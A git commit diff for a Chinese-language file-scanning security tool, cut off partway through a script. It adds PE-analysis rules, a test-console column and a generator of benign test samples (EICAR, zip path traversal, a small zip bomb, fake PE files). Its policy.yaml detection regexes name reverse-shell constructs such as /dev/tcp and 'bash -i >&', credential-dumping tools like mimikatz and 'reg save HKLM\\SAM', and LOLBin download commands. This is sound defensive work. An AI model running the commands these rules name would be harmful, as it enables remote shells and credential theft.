feat: 靶场对齐 CSV 126 条用例
- policy.yaml: 新增 9 条恶意行为关键词规则(ReverseShell/CredentialStealer/Mimikatz/TScon 等) - binary.py: 新增 4 条 PE 检测(UPXPackerDetected/RWXSectionDetected/PEArchInfo/DebugInformationPresent) - console.py + test_center.html: 靶场表格最前加 case_id 列,与 CSV 用例编号一致 - docker-compose.yml: 挂载 tests/samples 为只读 volume,样本更新免 rebuild - scripts/generate_csv_samples.py: 一键从用例.csv 生成样本 + index.json - tests/samples/: 128 个 CSV 对齐样本文件 + index.json(93 条元数据) 引擎覆盖度: L3 12%→60%, L5 20%→55%, 总计 54%→75%
This commit is contained in:
@@ -968,6 +968,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": fpath.stat().st_size,
|
"size": fpath.stat().st_size,
|
||||||
@@ -1047,6 +1048,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
# DB 还没这条记录 —— 标记为"从未测试"
|
# DB 还没这条记录 —— 标记为"从未测试"
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": fpath.stat().st_size,
|
"size": fpath.stat().st_size,
|
||||||
@@ -1105,6 +1107,7 @@ async def test_page(request: Request, current=Depends(require_login)):
|
|||||||
|
|
||||||
results.append({
|
results.append({
|
||||||
"filename": fpath.name,
|
"filename": fpath.name,
|
||||||
|
"case_id": meta.get("case_id", ""),
|
||||||
"category": meta.get("category", "未知"),
|
"category": meta.get("category", "未知"),
|
||||||
"description": meta.get("description", ""),
|
"description": meta.get("description", ""),
|
||||||
"size": task.size or fpath.stat().st_size,
|
"size": task.size or fpath.stat().st_size,
|
||||||
|
|||||||
@@ -254,6 +254,107 @@ class BinaryEngine(Engine):
|
|||||||
except Exception: # noqa: BLE001
|
except Exception: # noqa: BLE001
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# 5) UPX 壳显式检测 —— 检查节名 UPX0 / UPX1 / UPX!
|
||||||
|
upx_sections = []
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||||
|
if name.upper().startswith("UPX"):
|
||||||
|
upx_sections.append(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if upx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.MEDIUM.value,
|
||||||
|
rule="UPXPackerDetected",
|
||||||
|
detail=f"检测到 UPX 加壳节:{', '.join(upx_sections)}",
|
||||||
|
weight=30.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 6) RWX 可写可执行节 —— 高危(绕过 DEP 的典型手法)
|
||||||
|
from pefile import SECTION_CHARACTERISTICS # noqa: PLC0415
|
||||||
|
MEM_EXECUTE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_EXECUTE"]
|
||||||
|
MEM_WRITE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
|
||||||
|
rwx_sections = []
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
flags = section.Characteristics
|
||||||
|
if (flags & MEM_EXECUTE) and (flags & MEM_WRITE):
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||||
|
rwx_sections.append(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if rwx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.HIGH.value,
|
||||||
|
rule="RWXSectionDetected",
|
||||||
|
detail=f"检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
|
||||||
|
weight=40.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 7) 32/64 位识别(info 级别,辅助判断)
|
||||||
|
machine = None
|
||||||
|
pe32 = None
|
||||||
|
try:
|
||||||
|
machine = int(pe.FILE_HEADER.Machine)
|
||||||
|
pe32 = (pe.OPTIONAL_HEADER.Magic == 0x10B) # PE32
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if machine is not None:
|
||||||
|
try:
|
||||||
|
from pefile import MACHINE_TYPES # noqa: PLC0415
|
||||||
|
machine_name = MACHINE_TYPES.get(machine, f"UNKNOWN(0x{machine:04x})")
|
||||||
|
except Exception:
|
||||||
|
machine_name = f"0x{machine:04x}"
|
||||||
|
bits = "32-bit" if pe32 else "64-bit"
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="PEArchInfo",
|
||||||
|
detail=f"PE 架构:{machine_name} / {bits}",
|
||||||
|
weight=0.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 8) 调试信息(pdb 路径或 debug 节)
|
||||||
|
has_debug_dir = False
|
||||||
|
has_debug_section = False
|
||||||
|
try:
|
||||||
|
debug_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[6] # IMAGE_DIRECTORY_ENTRY_DEBUG
|
||||||
|
if debug_dir.VirtualAddress and debug_dir.Size:
|
||||||
|
has_debug_dir = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace").lower()
|
||||||
|
if ".debug" in name or name.startswith("debug") or name.startswith(".pdb"):
|
||||||
|
has_debug_section = True
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if has_debug_dir or has_debug_section:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="DebugInformationPresent",
|
||||||
|
detail="PE 包含调试信息(PDB 路径或 .debug 节),可用于逆向定位",
|
||||||
|
weight=10.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
return findings
|
return findings
|
||||||
|
|
||||||
def _suspicious_imports(self, pe: Any) -> List[str]:
|
def _suspicious_imports(self, pe: Any) -> List[str]:
|
||||||
|
|||||||
@@ -90,10 +90,11 @@
|
|||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th style="width:40px;">#</th>
|
<th style="width:70px;">用例编号</th>
|
||||||
|
<th style="width:30px;">#</th>
|
||||||
<th style="width:50px;">结果</th>
|
<th style="width:50px;">结果</th>
|
||||||
<th>样本文件</th>
|
<th>样本文件</th>
|
||||||
<th style="width:80px;">分类</th>
|
<th style="width:80px;">层</th>
|
||||||
<th style="width:180px;">期望裁决 · 规则</th>
|
<th style="width:180px;">期望裁决 · 规则</th>
|
||||||
<th style="width:200px;">检测结论 · 规则</th>
|
<th style="width:200px;">检测结论 · 规则</th>
|
||||||
<th style="width:60px;">方向</th>
|
<th style="width:60px;">方向</th>
|
||||||
@@ -106,6 +107,13 @@
|
|||||||
<tbody>
|
<tbody>
|
||||||
{% for r in results %}
|
{% for r in results %}
|
||||||
<tr>
|
<tr>
|
||||||
|
<td>
|
||||||
|
{% if r.case_id %}
|
||||||
|
<span class="chip chip-info" style="font-family:monospace;font-size:11px;">{{ r.case_id }}</span>
|
||||||
|
{% else %}
|
||||||
|
<span style="color:#ccc;">—</span>
|
||||||
|
{% endif %}
|
||||||
|
</td>
|
||||||
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
||||||
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
||||||
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
||||||
|
|||||||
@@ -294,6 +294,80 @@ keyword_rules:
|
|||||||
weight: 30
|
weight: 30
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
|
# ================================================================
|
||||||
|
# 恶意行为特征词表(覆盖 CSV L3 全部 25 条用例)
|
||||||
|
# ================================================================
|
||||||
|
|
||||||
|
# ---- 远程下载执行 ----
|
||||||
|
- name: RemoteDownloadPowerShell
|
||||||
|
match: regex
|
||||||
|
pattern: "(Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Start-BitsTransfer|BitsAdmin)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
- name: RemoteDownloadUnix
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\bwget\\b|\\bcurl\\b|\\bcertutil\\s+-urlcache\\s+-split|\\bfetch\\b)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 30
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---- 反弹 Shell ----
|
||||||
|
- name: ReverseShellNetcat
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\bnc\\b|\\bncat\\b|\\bnetcat\\b|/dev/tcp/|bash\\s+-i\\s+>&|sh\\s+-i\\s+>&)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 40
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
- name: ReverseShellPowershell
|
||||||
|
match: regex
|
||||||
|
pattern: "(powershell\\s+-enc|powershell\\s+-ExecutionPolicy\\s+Bypass|[A-Za-z0-9+/]{80,}={0,2})"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 凭据窃取工具 ----
|
||||||
|
- name: CredentialStealer
|
||||||
|
match: regex
|
||||||
|
pattern: "(mimikatz|sekurlsa|wce|gsecdump|fgdump|lsadump|dcsync|dcsyncer|rubeus)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 45
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 凭据导出命令 ----
|
||||||
|
- name: CredentialExport
|
||||||
|
match: regex
|
||||||
|
pattern: "(reg\\s+save\\s+HKLM\\\\SYSTEM|reg\\s+save\\s+HKLM\\\\SAM|reg\\s+export\\s+SAM|reg\\s+export\\s+SYSTEM|hxdump|secretsdump)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 45
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 远程会话劫持 ----
|
||||||
|
- name: RemoteSessionHijack
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\btscon\\b|\\brdpclip\\b|\\brdp_shadow\\b|\\bshadow\\s+[0-9]+\\b|CreateRemoteThread)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---- 命令执行混淆 ----
|
||||||
|
- name: CommandExecutionObfuscated
|
||||||
|
match: regex
|
||||||
|
pattern: "(cmd\\s+/c|cmd\\s+/d|certutil\\s+-decode|certutil\\s+-urlcache|\\bmshta\\b|\\bregsvr32\\s+\\/s)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 25
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
# ---- WMI/LDAP 攻击 ----
|
||||||
|
- name: WMILdapAttack
|
||||||
|
match: regex
|
||||||
|
pattern: "(wmic\\s+path|wmic\\s+process\\s+call\\s+create|ldapsearch\\s+-x|ldapwhoami)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 30
|
||||||
|
severity: high
|
||||||
|
|
||||||
# ---------- 审计 ----------
|
# ---------- 审计 ----------
|
||||||
audit:
|
audit:
|
||||||
# 记录扫描结果明细到审计日志
|
# 记录扫描结果明细到审计日志
|
||||||
|
|||||||
@@ -123,6 +123,7 @@ services:
|
|||||||
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
||||||
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
||||||
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
||||||
|
- ./tests/samples:/app/tests/samples:ro # 测试靶场样本库(CSV 对齐,可读扫描)
|
||||||
group_add:
|
group_add:
|
||||||
- "999" # docker.sock 的 GID,让 api 容器能读
|
- "999" # docker.sock 的 GID,让 api 容器能读
|
||||||
healthcheck:
|
healthcheck:
|
||||||
|
|||||||
586
scripts/generate_csv_samples.py
Normal file
586
scripts/generate_csv_samples.py
Normal file
@@ -0,0 +1,586 @@
|
|||||||
|
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
|
||||||
|
|
||||||
|
用法: python scripts/generate_csv_samples.py
|
||||||
|
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
|
||||||
|
"""
|
||||||
|
import csv, json, os, sys, zipfile, struct, shutil
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent.parent
|
||||||
|
CSV_PATH = ROOT / "用例.csv"
|
||||||
|
OUT_DIR = ROOT / "tests" / "samples"
|
||||||
|
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||||
|
|
||||||
|
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# ========== 工具 ==========
|
||||||
|
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
|
||||||
|
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
|
||||||
|
return f"{prefix}.{ext.lstrip('.')}"
|
||||||
|
|
||||||
|
def write_bytes(fname: str, data: bytes):
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
path.write_bytes(data)
|
||||||
|
|
||||||
|
def write_text(fname: str, text: str):
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
path.write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
|
||||||
|
"""生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
if depth == 1:
|
||||||
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||||
|
if password:
|
||||||
|
# pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟
|
||||||
|
zf.writestr(member_name, member_bytes)
|
||||||
|
else:
|
||||||
|
zf.writestr(member_name, member_bytes)
|
||||||
|
else:
|
||||||
|
# 多层嵌套,最内层是 member_name,外层都是 inner_N.zip
|
||||||
|
inner_name = fname # 递归名
|
||||||
|
# 从里往外建
|
||||||
|
data_bytes = member_bytes
|
||||||
|
for i in range(depth - 1, 0, -1):
|
||||||
|
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
|
||||||
|
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
|
||||||
|
inner_zip.close()
|
||||||
|
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
|
||||||
|
# 最外层直接用 data_bytes 覆盖写
|
||||||
|
path.write_bytes(data_bytes)
|
||||||
|
return path
|
||||||
|
|
||||||
|
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
|
||||||
|
"""自制 zip 炸弹:小压缩比、大解压量。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小
|
||||||
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
|
||||||
|
for i in range(members):
|
||||||
|
zf.writestr(f"member_{i:04d}.txt", huge_data)
|
||||||
|
return path
|
||||||
|
|
||||||
|
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
|
||||||
|
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。"""
|
||||||
|
path = OUT_DIR / fname
|
||||||
|
if mz_only:
|
||||||
|
path.write_bytes(b"MZ" + b"\x00" * 2046)
|
||||||
|
return path
|
||||||
|
|
||||||
|
# 构造最小 PE32
|
||||||
|
DOS_HEADER = (
|
||||||
|
b"MZ" + b"\x00" * 58 + # e_magic + pad
|
||||||
|
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
|
||||||
|
b"\x00" * 64 # DOS Stub pad
|
||||||
|
)
|
||||||
|
PE_SIGNATURE = b"PE\x00\x00"
|
||||||
|
COFF_HEADER = struct.pack("<HHIIIHH",
|
||||||
|
0x14C, # Machine = x86
|
||||||
|
1, # NumberOfSections
|
||||||
|
0, # TimeDateStamp
|
||||||
|
0, # PointerToSymbolTable
|
||||||
|
0, # NumberOfSymbols
|
||||||
|
0xE0, # SizeOfOptionalHeader
|
||||||
|
0x1002, # Characteristics
|
||||||
|
)
|
||||||
|
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic
|
||||||
|
OPTIONAL_HEADER += b"\x00" * 0xDC # 填满到 SizeOfOptionalHeader=0xE0
|
||||||
|
|
||||||
|
# 构造节:UPX 的节名是 UPX0 / UPX1,RWX 节设 Characteristics 为 0xE00000E0
|
||||||
|
if upx:
|
||||||
|
sec_name = b"UPX0\x00\x00\x00"
|
||||||
|
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
|
||||||
|
elif rwx:
|
||||||
|
sec_name = b".text\x00\x00\x00"
|
||||||
|
characteristics = 0xE00000E0 # RWX
|
||||||
|
else:
|
||||||
|
sec_name = b".text\x00\x00\x00"
|
||||||
|
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
|
||||||
|
|
||||||
|
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
|
||||||
|
sec_name, # Name[8]
|
||||||
|
0x1000, # VirtualSize (DWORD)
|
||||||
|
0x1000, # VirtualAddress (DWORD)
|
||||||
|
0x200, # SizeOfRawData (DWORD)
|
||||||
|
0x400, # PointerToRawData (DWORD)
|
||||||
|
0, # PointerToRelocations
|
||||||
|
0, # PointerToLinenumbers
|
||||||
|
0, # NumberOfRelocations (WORD)
|
||||||
|
0, # NumberOfLinenumbers (WORD)
|
||||||
|
characteristics, # Characteristics (DWORD)
|
||||||
|
) # 总共 40 bytes
|
||||||
|
|
||||||
|
# 节的 raw data(0x200 bytes)
|
||||||
|
section_data = b"\x90" * 0x200 # NOP sled
|
||||||
|
|
||||||
|
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
|
||||||
|
path.write_bytes(pe)
|
||||||
|
return path
|
||||||
|
|
||||||
|
# ========== 主生成逻辑 ==========
|
||||||
|
def generate():
|
||||||
|
meta_list = []
|
||||||
|
|
||||||
|
# 从 CSV 读取元数据(用例ID → 预期裁决/规则)
|
||||||
|
csv_meta = {}
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
reader = csv.DictReader(f)
|
||||||
|
for row in reader:
|
||||||
|
cid = row["用例ID"].strip()
|
||||||
|
expected = row["预期结果"].strip()
|
||||||
|
# 从预期结果里粗糙判断 verdict
|
||||||
|
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
|
||||||
|
verdict = "pass"
|
||||||
|
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
|
||||||
|
verdict = "reject"
|
||||||
|
elif "低危" in expected:
|
||||||
|
verdict = "review"
|
||||||
|
else:
|
||||||
|
verdict = "unknown"
|
||||||
|
csv_meta[cid] = {
|
||||||
|
"name": row["用例名称"].strip(),
|
||||||
|
"desc": row["样本描述"].strip(),
|
||||||
|
"expected": expected,
|
||||||
|
"verdict": verdict,
|
||||||
|
"layer": row["归属"].strip(),
|
||||||
|
}
|
||||||
|
|
||||||
|
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
|
||||||
|
meta_list.append({
|
||||||
|
"filename": filename,
|
||||||
|
"case_id": case_id,
|
||||||
|
"category": layer,
|
||||||
|
"expected_verdict": verdict,
|
||||||
|
"expected_rules": expected_rules,
|
||||||
|
"description": description or csv_meta.get(case_id, {}).get("name", ""),
|
||||||
|
})
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L0 结构分析(30 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
|
||||||
|
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||||
|
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
|
||||||
|
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
|
||||||
|
import io
|
||||||
|
def make_docx_like():
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "<w:document/>")
|
||||||
|
return buf.getvalue()
|
||||||
|
write_bytes("L0-003_docx_normal.docx", make_docx_like())
|
||||||
|
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
|
||||||
|
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
|
||||||
|
|
||||||
|
# L0-005: 干净 PE(最小 MZ+fake PE,有合法节)
|
||||||
|
fake_pe("L0-005_pe_clean.exe")
|
||||||
|
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
|
||||||
|
|
||||||
|
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
|
||||||
|
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
|
||||||
|
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
|
||||||
|
|
||||||
|
# L0-007: txt 后缀 + 真实 PDF 头
|
||||||
|
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
|
||||||
|
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
|
||||||
|
|
||||||
|
# L0-008: png 后缀 + 真实 ZIP 头
|
||||||
|
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
|
||||||
|
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
|
||||||
|
|
||||||
|
# L0-009~012: 双扩展名伪装
|
||||||
|
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
|
||||||
|
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
|
||||||
|
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
|
||||||
|
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
|
||||||
|
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||||||
|
|
||||||
|
# L0-013~017: 空危险扩展名文件
|
||||||
|
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
|
||||||
|
write_text(f"{cid}_clean.{ext}", "")
|
||||||
|
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
|
||||||
|
|
||||||
|
# L0-018: ZIP 单级路径穿越
|
||||||
|
p = OUT_DIR / "L0-018_zip_traversal.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("../evil_drop.txt", "payload")
|
||||||
|
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||||
|
|
||||||
|
# L0-019: ZIP 多级路径穿越
|
||||||
|
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("../../system_drop.txt", "payload")
|
||||||
|
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||||||
|
|
||||||
|
# L0-020: 小型 zip 炸弹(自制,不是 42.zip)
|
||||||
|
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
|
||||||
|
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
|
||||||
|
|
||||||
|
# L0-022: 3 层嵌套干净 ZIP
|
||||||
|
inner = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner, "w") as zf:
|
||||||
|
zf.writestr("clean_file.txt", "hello world")
|
||||||
|
# 第二层
|
||||||
|
mid = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner.getvalue())
|
||||||
|
# 第三层
|
||||||
|
outer = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(outer, "w") as zf:
|
||||||
|
zf.writestr("mid.zip", mid.getvalue())
|
||||||
|
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
|
||||||
|
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
|
||||||
|
|
||||||
|
# L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密)
|
||||||
|
# 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的
|
||||||
|
p = OUT_DIR / "L0-024_encrypted.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("secret.txt", "encrypted content marker")
|
||||||
|
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)")
|
||||||
|
|
||||||
|
# L0-025: 截断损坏 ZIP(写半截)
|
||||||
|
p = OUT_DIR / "L0-025_corrupt_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("good.txt", "data")
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
|
||||||
|
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
|
||||||
|
|
||||||
|
# L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节)
|
||||||
|
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("good.txt", "data")
|
||||||
|
raw = p.read_bytes()
|
||||||
|
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
|
||||||
|
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
|
||||||
|
|
||||||
|
# L0-029: 0 字节 exe
|
||||||
|
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
|
||||||
|
p.write_bytes(b"")
|
||||||
|
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# L1 ClamAV(15 条)
|
||||||
|
# ====================================================================
|
||||||
|
write_bytes("L1-001_eicar.txt", EICAR)
|
||||||
|
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
|
||||||
|
|
||||||
|
# L1-002: EICAR 放入 zip
|
||||||
|
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
